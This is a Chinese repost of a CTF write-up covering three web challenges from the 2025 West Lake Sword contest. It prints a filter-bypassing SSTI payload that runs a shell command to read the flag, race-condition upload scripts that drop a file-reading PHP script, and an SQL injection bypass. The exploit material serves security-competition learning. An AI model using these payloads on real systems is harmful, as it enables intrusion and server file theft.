问小白 wenxiaobai
资讯
历史
科技
环境与自然
成长
游戏
财经
文学与艺术
美食
健康
家居
文化
情感
汽车
三农
军事
旅行
运动
教育
生活
星座命理

2025西湖论剑·中国杭州网络安全技能大赛题解(全)

创作时间:
作者:
@小白创作中心

2025西湖论剑·中国杭州网络安全技能大赛题解(全)

引用
CSDN
1.
https://blog.csdn.net/uuzeray/article/details/145228235

2025年西湖论剑·中国杭州网络安全技能大赛已经落下帷幕,本次大赛的赛题设计精良,涵盖了多种Web安全领域的知识点。本文将为大家详细解析本次大赛中的三个经典题目:Rank-l、Rank-U和sqli or not,帮助读者理解解题思路并掌握相关技术要点。

Rank-l

本题的关键在于发现username参数存在SSTI(Server-Side Template Injection)漏洞。通过本地搭建一个服务,可以使用折半查找法fuzz黑名单,并不断迭代payload。

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/input', methods=['GET', 'POST'])
def user_input():
    if request.method == 'POST':
        user_input = request.form.get('user_input', '')
        if any(char in user_input for char in ['+', '/', '*','"','\\','{%','%}','urlencode','mod']):
            return "输入中包含不允许的字符。", 400
        template = "<h1>用户输入的内容是:{{ input }}</h1>"
        return render_template_string(template, input=user_input)
    
    return '''
        <form method="POST">
            <label for="user_input">请输入内容:</label>
            <input type="text" id="user_input" name="user_input">
            <button type="submit">提交</button>
        </form>
    '''

if __name__ == '__main__':
    app.run(host="0.0.0.0",port=1338,debug=True)

最终使用的payload如下:

{
  {cycler.next.__globals__.__builtins__.__import__('os').popen(lipsum['__glob''al''s__']['__builti''ns__']['chr'](37).__add__('c').__mul__(7)|format(116,97,99,32,47,102,42)).read()}}

Rank-U

本题首先通过Burpsuite默认字典爆破密码,发现存在302重定向的多个可登录点。登录后发现是一个任意文件上传功能,但上传的文件会被立即删除。因此需要利用条件竞争(Time-based Race Condition)来获取flag。

首先使用第一个脚本上传恶意文件:

import requests
while True:
    burp0_url = "http://139.155.126.78:30675/admin/index.php"
    burp0_cookies = {"PHPSESSID": "bsgq3v7goubrk1ciepr0se2dfc"}
    
    burp0_data = (
        "------WebKitFormBoundarygIbPTT5pJVbv72RS\r\n"
        "Content-Disposition: form-data; name=\"file_upload\"; filename=\"yjh3.php\"\r\n"
        "Content-Type: application/octet-stream\r\n\r\n"
        "<?php echo file_get_contents('/flag');?>\r\n"
        "------WebKitFormBoundarygIbPTT5pJVbv72RS--\r\n"
    )
    
    r = requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data)
    
    try:
        filename = r.text.split('./Uploads/1f14bba00da3b75118bc8dbf8625f7d0/')[1].split('</p>')[0]
        with open('name.txt', 'w') as file:
            file.write(filename.strip())
    except IndexError:
        print("无法提取文件路径或文件上传失败")

然后使用第二个脚本读取flag:

import requests
url0 = 'http://139.155.126.78:30675/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/'
while True:
    with open('name.txt', 'r') as file:
        for filename in file:
            shellpath = url0 + filename.strip()
            r1 = requests.get(shellpath)
            if r1.status_code != 404:
                print(r1.status_code)
                print(r1.text)

sqli or not

本题的关键在于绕过对逗号和引号的过滤。参考了ctfshow web344的解题思路,通过分析本地搭建的服务发现可以成功闭合SQL语句。

本地服务代码如下:

var express = require('express');
var app = express();
var router = express.Router();
module.exports = router;
app.use(router);

router.get('/', (req, res, next) => {
    if (req.query.info) {
        if (req.url.match(/\,/ig)) {
            res.end('hacker1!');
        }
        var info = JSON.parse(req.query.info);
        let responseContent = `Parsed info: ${JSON.stringify(info)}<br>`;
        if (info.username && info.password) {
            var username = info.username;
            var password = info.password;
            if (info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)) {
                responseContent += 'hacker2!<br>';
            }
            var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
            sql = sql.replace("{username}", username);
            sql = sql.replace("{password}", password);
            responseContent += `Generated SQL: ${sql}<br>`;
        } else {
            responseContent += "please input the data<br>";
        }
        res.send(responseContent);
    } else {
        res.end("please input the data");
    }
});

const port = 4000;
app.listen(port, () => {
    console.log(`Server running on port ${port}`);
});

最终使用的payload为:

?info={"username":"$`+or+1=1--+"&info="password":"123456"}

通过这个payload可以成功获取flag文件。

© 2023 北京元石科技有限公司 ◎ 京公网安备 11010802042949号